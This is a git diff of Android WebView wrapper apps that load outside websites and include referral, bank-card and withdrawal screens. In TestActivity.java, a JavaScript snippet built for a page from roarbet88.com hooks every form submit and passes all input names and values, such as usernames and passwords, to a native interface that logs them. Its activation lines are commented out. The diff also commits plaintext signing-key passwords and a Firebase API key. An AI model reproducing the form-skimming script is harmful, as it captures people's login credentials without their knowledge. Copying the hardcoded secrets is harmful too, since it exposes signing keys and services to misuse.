+ Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/loan/src/main/java/com/web/loan/TestActivity.java b/loan/src/main/java/com/web/loan/TestActivity.java new file mode 100644 index 0000000..e8df6bc --- /dev/null +++ b/loan/src/main/java/com/web/loan/TestActivity.java @@ -0,0 +1,86 @@ +package com.web.loan; + + +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.app.Activity; +import android.os.Build; +import android.os.Bundle; +import android.os.PersistableBundle; +import android.util.Log; +import android.webkit.JavascriptInterface; +import android.webkit.WebResourceRequest; +import android.webkit.WebResourceResponse; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; + +import androidx.annotation.Nullable; + +import java.lang.reflect.Method; + +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import okio.Buffer; + + +public class TestActivity extends Activity { + + WebView webView; + @SuppressLint("WrongViewCast") + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.layout_test); + + webView =(WebView)findViewById(R.id.webview); + WebSettings webSettings = webView.getSettings(); + webSettings.setJavaScriptEnabled(true); + + // 添加JavaScript接口,注意安全风险,在Android 4.2及以上需要使用@JavascriptInterface注解 +// webView.addJavascriptInterface(new MyJavaScriptInterface(), "Android"); + +// webView.setWebViewClient(new WebViewClient() { +// @Override +// public void onPageFinished(WebView view, String url) { +// super.onPageFinished(view, url); +// // 页面加载完成后注入JavaScript代码 +// injectJavaScript(); +// } +// }); + + + webView.loadUrl("https://roarbet88.com/"); + } + + private void injectJavaScript() { + String jsCode = "javascript:(function() {" + + "var forms = document.getElementsByTagName('form');" + + "for (var i = 0; i < forms.length; i++) {" + + " forms[i].addEventListener('submit', function(e) {" + + " var params = [];" + + " var inputs = this.getElementsByTagName('input');" + + " for (var j = 0; j < inputs.length; j++) {" + + " var input = inputs[j];" + + " params.push(input.name + '=' + input.value);" + + " }" + + " var formData = params.join('&');" + + " Android.onFormSubmit(formData);" + + " });" + + "}" + + "})()"; + webView.evaluateJavascript(jsCode, null); + } + + class MyJavaScriptInterface { + @JavascriptInterface + public void onFormSubmit(String formData) { + // 在这里处理表单数据,formData是拼接好的字符串,如:username=admin&password=123456 + LogUtils.d("FormData", formData); + // 你可以在这里解析字符串,获取各个参数 + } + } +} diff --git a/loan/src/main/java/com/web/loan/WebApplication.java b/loan/src/main/java/com/web/loan/WebApplication.java new file mode 100644 index 0000000..e9a26b4 --- /dev/null +++ b/loan/src/main/java/com/web/loan/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.loan; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/loan/src/main/res/drawable-anydpi/ic_action_back.xml b/loan/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/loan/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/loan/src/main/res/drawable-hdpi/ic_action_back.png b/loan/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/loan/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/loan/src/main/res/drawable-mdpi/ic_action_back.png b/loan/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/loan/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/loan/src/main/res/drawable-v24/ic_launcher_foreground.xml b/loan/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/loan/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/loan/src/main/res/drawable-xhdpi/ic_action_back.png b/loan/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/loan/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/loan/src/main/res/drawable-xxhdpi/ic_action_back.png b/loan/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/loan/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/loan/src/main/res/drawable/big_bg.xml b/loan/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/loan/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/loan/src/main/res/drawable/ic_launcher_background.xml b/loan/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/loan/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/loan/src/main/res/drawable/input_bg.xml b/loan/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/loan/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/loan/src/main/res/drawable/pass_word_bg.xml b/loan/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/loan/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/loan/src/main/res/drawable/pass_word_bg1.xml b/loan/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/loan/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/loan/src/main/res/drawable/pass_word_bg2.xml b/loan/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/loan/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/loan/src/main/res/drawable/shape_btn_bg.xml b/loan/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/loan/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/loan/src/main/res/drawable/shape_dialog_bg2.xml b/loan/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/loan/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/loan/src/main/res/drawable/shape_dialog_bg3.xml b/loan/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/loan/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/loan/src/main/res/drawable/shape_dialog_bg_new.xml b/loan/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/loan/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/loan/src/main/res/layout/layout_test.xml b/loan/src/main/res/layout/layout_test.xml new file mode 100644 index 0000000..2640e90 --- /dev/null +++ b/loan/src/main/res/layout/layout_test.xml @@ -0,0 +1,15 @@ + + + + \ No newline at end of file diff --git a/loan/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/loan/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/loan/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/loan/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/loan/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/loan/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/loan/src/main/res/mipmap-hdpi/ic_empty.png b/loan/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/loan/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/loan/src/main/res/mipmap-hdpi/ic_pull_down.png b/loan/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/loan/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/loan/src/main/res/mipmap-xhdpi/ic_close.png b/loan/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/loan/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/loan/src/main/res/mipmap-xhdpi/ic_menu.png b/loan/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/loan/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/loan/src/main/res/mipmap-xxhdpi/app_logo.png b/loan/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..33dfe59 Binary files /dev/null and b/loan/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/loan/src/main/res/values-en/strings.xml b/loan/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/loan/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/loan/src/main/res/values-night/themes.xml b/loan/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/loan/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/loan/src/main/res/values/colors.xml b/loan/src/main/res/values/colors.xml new file mode 100644 index 0000000..19ff471 --- /dev/null +++ b/loan/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #FFFFFF + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/loan/src/main/res/values/strings.xml b/loan/src/main/res/values/strings.xml new file mode 100644 index 0000000..0d44e19 --- /dev/null +++ b/loan/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + PHP PUSH + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/loan/src/main/res/values/themes.xml b/loan/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/loan/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/loan/src/main/res/xml/app_updater_paths.xml b/loan/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/loan/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/loan/src/main/res/xml/network_security_config.xml b/loan/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/loan/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/loan/src/main/res/xml/provider_paths.xml b/loan/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/loan/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/loan/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/loan/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/loan/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/luckau2/.gitignore b/luckau2/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/luckau2/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/luckau2/build.gradle b/luckau2/build.gradle new file mode 100644 index 0000000..9a52c40 --- /dev/null +++ b/luckau2/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.luckau2" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "luckau2" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/luckau2/google-services.json b/luckau2/google-services.json new file mode 100644 index 0000000..31f3b96 --- /dev/null +++ b/luckau2/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "60800305690", + "project_id": "noti2lu4", + "storage_bucket": "noti2lu4.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:60800305690:android:27cc282813ebefa48c5fa3", + "android_client_info": { + "package_name": "com.xyz.luckau2" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAxbzIFGZlvi3kEYLRm9CERVf5k0prgpO8" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/luckau2/ppn.jks b/luckau2/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/luckau2/ppn.jks differ diff --git a/luckau2/proguard-rules.pro b/luckau2/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/luckau2/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/luckau2/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/luckau2/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/luckau2/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/luckau2/src/main/AndroidManifest.xml b/luckau2/src/main/AndroidManifest.xml new file mode 100644 index 0000000..4c78ccc --- /dev/null +++ b/luckau2/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/luckau2/src/main/java/com/xyz/luckau2/MainActivity.java b/luckau2/src/main/java/com/xyz/luckau2/MainActivity.java new file mode 100644 index 0000000..b21503c --- /dev/null +++ b/luckau2/src/main/java/com/xyz/luckau2/MainActivity.java @@ -0,0 +1,44 @@ +package com.xyz.luckau2; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 149; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","http://2luckau.net/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#a60709"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#fec0c1"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/luckau2/src/main/java/com/xyz/luckau2/MyFirebaseMessageingService.java b/luckau2/src/main/java/com/xyz/luckau2/MyFirebaseMessageingService.java new file mode 100644 index 0000000..09aa517 --- /dev/null +++ b/luckau2/src/main/java/com/xyz/luckau2/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.luckau2; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/luckau2/src/main/java/com/xyz/luckau2/WebApplication.java b/luckau2/src/main/java/com/xyz/luckau2/WebApplication.java new file mode 100644 index 0000000..5873f24 --- /dev/null +++ b/luckau2/src/main/java/com/xyz/luckau2/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.luckau2; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/luckau2/src/main/res/drawable-anydpi/ic_action_back.xml b/luckau2/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/luckau2/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/luckau2/src/main/res/drawable-hdpi/ic_action_back.png b/luckau2/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/luckau2/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/luckau2/src/main/res/drawable-mdpi/ic_action_back.png 